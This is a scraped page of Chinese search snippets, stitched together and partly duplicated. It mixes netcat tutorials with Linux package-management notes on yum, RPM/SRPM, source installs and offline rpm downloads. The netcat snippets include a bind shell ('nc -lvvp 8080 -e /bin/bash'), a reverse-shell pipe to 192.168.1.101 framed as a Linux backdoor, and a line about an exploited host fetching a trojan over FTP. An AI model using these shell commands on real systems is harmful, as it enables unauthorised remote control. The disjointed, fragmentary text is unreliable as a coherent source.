//ubuntu ---- 监听入站连接 服务器端开启入站监听 nc -l 8080 客户端连接服务端 nc ip 8080 连接上后可以互相通讯类似这样 image.png 利用NC扫描端口...利用nc扫描目标 1-100内的端口情况 nc -z -v -n -w 2 ip 1-100 image.png 利用nc发送文件 发送端执行 nc -v -l 8080 < out.txt //...文件名 接收方执行 nc -v -n ip 8080 > in.txt //收过来的时候以这个文件名保存 image.png 发送整个文件夹 发送端执行 tar -cvPf - ~/out | nc...-l 8080 客户端执行 nc -n IP 8080 | tar -xvPf - image.png 利用nc正向shell连接 目标机执行 nc -lvvp 8080 -e /bin/bash...控制端执行 nc -lvvp 8080
SRPM 包,比 RPM 包多了一个“S”,是“Source”的首字母,所以 SRPM 可直译为“源代码形式的 RPM 包”。也就是说,SRPM 包中不再是经过编译的二进制文件,都是源代码文件。...可以这样理解,SRPM 包是软件以源码形式发布后直接封装成 RPM 包的产物。...从表中可以看到,SRPM 包的命名与 RPM 包基本类似,唯一区别在于 SRPM 包多了“src”标志,即 SRPM 包采用“包名-版本号-发布次数-发行商-src.rpm”的方式进行命名,比如“MySQL...其中,SOURCES 目录中放置的是源码,SPECS 目录中放置的是设置文件。...,-ba 选项的含义是编译,会同时生成 RPM 二进制包和 SRPM 源码包。
Centos安装nc > yum -y install nc Ubuntu安装nc > apt-get install netcat Mac安装nc > brew install netcat 命令格式...-s 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 -w 设置等待连线的时间。...TCP端口扫描 > nc -v -z -w2 rumenz.com 20-30 nc: connectx to rumenz.com port 20 (tcp) failed: Connection...建立 C/S 聊天室 nc 的本质是在两台机器之间建立连接,之后就可以基于这个连接做很多事情,数据传输是其中一个最为基本的。我们下面就使用 nc 来建立一个 C/S 的聊天室。.../linux-nc.html
-s 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 -w 设置等待连线的时间。...平台:Linux/BSD/Unix/Windows WINDOWS下版本号:[v1.10 NT] 参数介绍: nc.exe -h 即可看到各参数的使用方法。...unix,linux attacker machine: // 攻击者的机器....端口数据抓包....溢出远程主机时,一旦溢出的远程主机连接本地主机 8989 端口,远程主机就会自动用 FTP 下载指定的文件,如木马。
但是当文件过大的时候,例如前段时间需要传输一个1.7G的堆dump文件到本地,就让我犯了难,sz命令直接卡死,根本下载不下来,这个时候nc就派上了用场。...-s 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 -w 设置等待连线的时间。...nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口; (2)端口的扫描,nc可以作为client发起TCP或UDP连接; (3)机器之间传输文件...; (4)机器之间网络测速 我们今天主要说下,使用nc进行文件传输。...nc发送给本地服务;tar cfz - * | nc ip 5555 第三步: 本地服务接收到文件,自动解压,剩下就是别忘了检查一下;
1.首先需要下载源码 码云地址:https://gitee.com/mirrors/Spring-Framework.git 很快 推荐 GitHub地址:https://github.com/...spring-projects/spring-framework.git 不推荐 然后打开idea,下载源码 2.下载并配置gradle环境 下载地址:https://services.gradle.org.../distributions/ 我下载的是6.2.1版本的, 然后就是解压zip包,并配置环境变量 然后关闭窗口,打开控制台校验是否配置好 这个地方需要留意一下,我们要记住这个kotlin的版本...,后面在编译的时候用得到 3.打开idea,配置spring源码 1)我这里是用的2019.3版本的idea,其余版本类似,下图就是设置gradle的一些配置项 2)打开build.gradle文件,...修改配置文件 首先是要修改一下下载jar包的地址,不然会很慢,首先是指向本地maven仓库 repositories { mavenLocal() //直接使用本地maven仓库 maven
Centos安装nc > yum -y install nc Ubuntu安装nc > apt-get install netcat Mac安装nc > brew install netcat 命令格式...-s 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 -w 设置等待连线的时间。...TCP端口扫描 > nc -v -z -w2 rumenz.com 20-30 nc: connectx to rumenz.com port 20 (tcp) failed: Connection...建立 C/S 聊天室 nc 的本质是在两台机器之间建立连接,之后就可以基于这个连接做很多事情,数据传输是其中一个最为基本的。我们下面就使用 nc 来建立一个 C/S 的聊天室。.../linux-nc.html 微信公众号:入门小站
1.命令简介 nc(netcat)是一个短小精悍、功能实用、简单可靠的网络工具,主要有如下作用: (1)端口侦听,nc 可以作为 server 以 TCP 或 UDP 方式侦听指定端口; (2)端口扫描...将此选项与 -l 选项结合使用是错误的 -s source_ip_address 设置本地主机送出数据包的 IP 地址。...命令查看 nc 命令。...(3)利用 nc 之间的连接进行文件传输。 使用 nc 传输文件还是比较方便的,因为不用 scp 和 rsync 那种输入密码的操作了。...---- 参考文献 [1] nc(1) manual [2] 博客园.nc命令用法举例 [3] 博客园.nc 命令使用详解
epel-testing.repo”两个文件: [root@adai002 yum.repos.d]# cat epel.repo [epel] name=Extra Packages for Enterprise Linux...下载rpm包 下载 命令:yum install -y [包名] --downloadonly [root@adai002 yum.repos.d]# yum install -y zsh --downloadonly...下载的包默认保存位置为: [root@adai002 yum.repos.d]# ls /var/cache/yum/x86_64/7/updates/packages zsh-5.0.2-25.el7...7.8-7.9 源码包安装 先下载一个源码包! 注: 今后所有源码包放到目录“/usr/local/src/”!!!...apache2/ bin build cgi-bin conf error htdocs icons include lib logs man manual modules 注: 下载源码包要到官方网站或可信任站点
文章目录 一、下载 Linux 内核源码 二、使用 VSCode 阅读 Linux 内核源码 一、下载 Linux 内核源码 ---- 参考 【Linux 内核】编译 Linux 内核 ① ( 下载指定版本的...Linux 内核源码 | Linux 内核版本号含义 | 主版本号 | 次版本号 | 小版本号 | 稳定版本 ) 博客 , 下载 Linux 5.6.18 版本的内核源码 ; 5.x 内核源码下载地址.../pub/linux/kernel/v5.x/linux-5.6.18.tar.gz 下载完 Linux 源码后 , 如果在 Windows 系统中解压 , 需要使用管理员权限在 命令行终端 中解压 ,...VSCode 阅读 Linux 内核源码 ---- 参考 【开发环境】安装 Visual Studio Code 开发环境 ( 下载 Visual Studio Code 安装器 | Visual Studio...Code ) 博客 , 安装 VSCode 软件 ; 打开 VSCode , 选择 ” 菜单栏 / 文件 / 打开文件夹 ” 选项 , 选择 Linux 内核源码目录 , 点击 ” 选择文件夹 ”
文章目录 一、下载 Linux 内核源码 二、使用 VSCode 阅读 Linux 内核源码 一、下载 Linux 内核源码 ---- 参考 【Linux 内核】编译 Linux 内核 ① ( 下载指定版本的...Linux 内核源码 | Linux 内核版本号含义 | 主版本号 | 次版本号 | 小版本号 | 稳定版本 ) 博客 , 下载 Linux 5.6.18 版本的内核源码 ; 5.x 内核源码下载地址.../pub/linux/kernel/v5.x/linux-5.6.18.tar.gz 下载完 Linux 源码后 , 如果在 Windows 系统中解压 , 需要使用管理员权限在 命令行终端 中解压 ,...VSCode 阅读 Linux 内核源码 ---- 参考 【开发环境】安装 Visual Studio Code 开发环境 ( 下载 Visual Studio Code 安装器 | Visual Studio...按钮 , 此时就可以在 VSCode 中阅读 Linux 内核源码 ;
笔记内容: l 7.6 yum更换国内源 l 7.7 yum下载rpm包 l 7.8/7.9 源码包安装 笔记日期:2017.8.10 7.6 yum更换国内源 ?...7.8/7.9 源码包安装 ? 源码包最好放到/usr/local/src/路径下,方便查找、方便使用这个操作系统的其他人。...使用wget下载Apache: 可以到以下网址获得Apache源码包下载链接: r.aminglinux.com ? ? ? 解压下载好的源码包: ? 列出源码包下的内容: ?...大写名称的都是官方文档,INSTALL文档里有介绍如何安装源码包。 ? 关于echo $?命令: 如果你执行一条命令,而且这个命令会输出很多信息,例如安装源码包时使用的那些命令。...把源码包打包成rpm包 http://www.linuxidc.com/Linux/2012-09/70096.html
下载一个安装包除了yum和rpm之外我们还可以下载源码包 编译并安装 首先下载所有的源码包一定要去官网,为了就是防止源码包被第三方编译 例如我们今天安装一个httpd的源码包,也就是经常说的apache...首先进入官网 apache.org image.png 进入download,并选择一个下载源 image.png 找到httpd image.png 点击下载任意一个(右击复制链接地址即可...image.png 再次下载 image.png 下载完成 image.png 然后为了统一管理和使用,建议大家养成一个好的习惯把下载的源码包全部放在/usr/local/src下 image.png...然后解压源码包 1 #tar -zxvf httpd-2.4.25.tar.gz 解压完成后进入httpd-2.4.25目录 image.png 然后查看INSTALL和READEME这两个文件.../configure --prefix=/usr/local/apache #编译源码包至/usr/local/apache/目录中 1 #echo $?
---- 关于nc之前文章就已经讲过了,不过我发现不同 linux 的nc不太一样 ?...Ubuntu 16.04 自带了nc 这次就简单介绍了 NC(1) BSD General Commands Manual NAME nc...原理其实就是管道技术 参考文章: https://www.cnblogs.com/old-path-white-cloud/p/11685558.html 本来我对自己的Linux知识还是挺有信心的,不过最近研究了这些...Linux 后门之后发现我竟然对这些命令有些犹豫(其实就是学艺不精啦) 我对这个 rm -f /tmp/f 就十分不理解,实验之后我发现,没错,就是删除 /tmp/f 这个文件,没啥特殊的,就是怕mkfifo...5555 > /tmp/f 管道输出重定向 攻击机 nc -l 5555 nc -l 6666 被控主机 nc 192.168.1.101 5555|/bin/sh|nc 192.168.1.101
Linux下的软件包可细分为两种,分别是源码包和二进制包。 Linux源码包 实际上,源码包就是一大堆源代码程序,是由程序员按照特定的格式和语法编写出来的。...为了解决使用源码包安装方式的这些问题,Linux 软件包的安装出现了使用二进制包的安装方式。 Linux二进制包 二进制包,也就是源码包经过成功编译之后产生的包。...源码包 VS RPM二进制包 源码包一般包含多个文件,为了方便发布,通常会将源码包做打包压缩处理,Linux 中最常用的打包压缩格式为“tar.gz”,因此源码包又被称为 Tarball。...源码包需要我们自己去软件官方网站进行下载,包中通常包含以下内容: 源代码文件。 配置和检测程序(如 configure 或 config 等)。...如何选择 通过源码包和 RMP 二进制包的对比,在 Linux 进行软件安装时,我们应该使用哪种软件包呢? 为了更好的区别两种软件包,这里举个例子。
此时就需要进行离线安装,首先我们需要在可以上网的服务器上将需要安装软件的rpm离线包下载下来,然后去不能上网的服务器上安装。以下是几种下载的方法....nginx rpm安装所需要的所有依赖 > yum install yum-utils -y //下载nginx全量依赖包 > repotrack nginx 方法二:使用yumdownloader下载...) --resolve:下载依赖的 rpm 包。...与 yumdownloader 命令一样,也是仅会将主软件包和基于你现在的操作系统所缺少的依赖关系包一并下载。...离线安装 rpm > rpm -Uvh --force --nodeps *.rpm 原文链接:https://rumenz.com/rumenbiji/linux-download-rpm.html
此时就需要进行离线安装,首先我们需要在可以上网的服务器上将需要安装软件的rpm离线包下载下来,然后去不能上网的服务器上安装。以下是几种下载的方法....查看依赖包 > yum deplist nginx package: nginx.x86_64 1:1.20.1-1.el7.ngx dependency: /bin/sh provider...nginx rpm安装所需要的所有依赖 > yum install yum-utils -y //下载nginx全量依赖包 > repotrack nginx 方法二:使用yumdownloader下载...) --resolve:下载依赖的 rpm 包。...与 yumdownloader 命令一样,也是仅会将主软件包和基于你现在的操作系统所缺少的依赖关系包一并下载。 离线安装 rpm > rpm -Uvh --force --nodeps *.rpm
列出关于epel包的信息:yum list |grep epel 有些包光盘和本地没有,但是有些包我们需要,想要下载到本地来,保存下来可以给其他机器用,就不用用yum下载很久。...这就需要用yum下载rpm包 downloadonly是yum的一个插件,将包下载到本地上(只下载不安装): yum install -y 包名 –downloadonly 下载的包的路径(若包是base...=路径 源码包安装 同一规定源码包的存放路径: cd /usr/local/src/ 下载源码包: wget http://mirrors.cnnic.cn/apache/httpd/httpd...指定安装目录后所有的文件都会在指定目录下,那么要卸载这个包的话直接删除指定的目录就可以了。 下载源码包最好去官方下载,避免中木马。...rpm包 http://www.linuxidc.com/Linux/2012-09/70096.htm
rpm包: updates 这里 写的是仓库名字 查看:ls /var/cache/yum/x86_64/7/(加仓库名)/packages/ = 下载后安装包的存放目录 在--downloadonly...后面在添加一个参数 --downloadonly=/需要存放的目录/ yum reinstall -y 包名 --downloadonly --downloaddir=路径 重新安装一次已经安装过的包...源码包安装: 约定所有的源码包都存放目录为:cd /usr/local/src/ 如果下载出现问题 例如404 说明网址已经过期,可以到 r.amingliux.com 里面去寻找新的下载地址...网址 www.r.aminglinux.com 可是使用 tar 来解压源码包 可以more README 来查看说明文档。...把源码包打包成rpm包 http://www.linuxidc.com/Linux/2012-09/70096.htm
领取专属 10元无门槛券
手把手带您无忧上云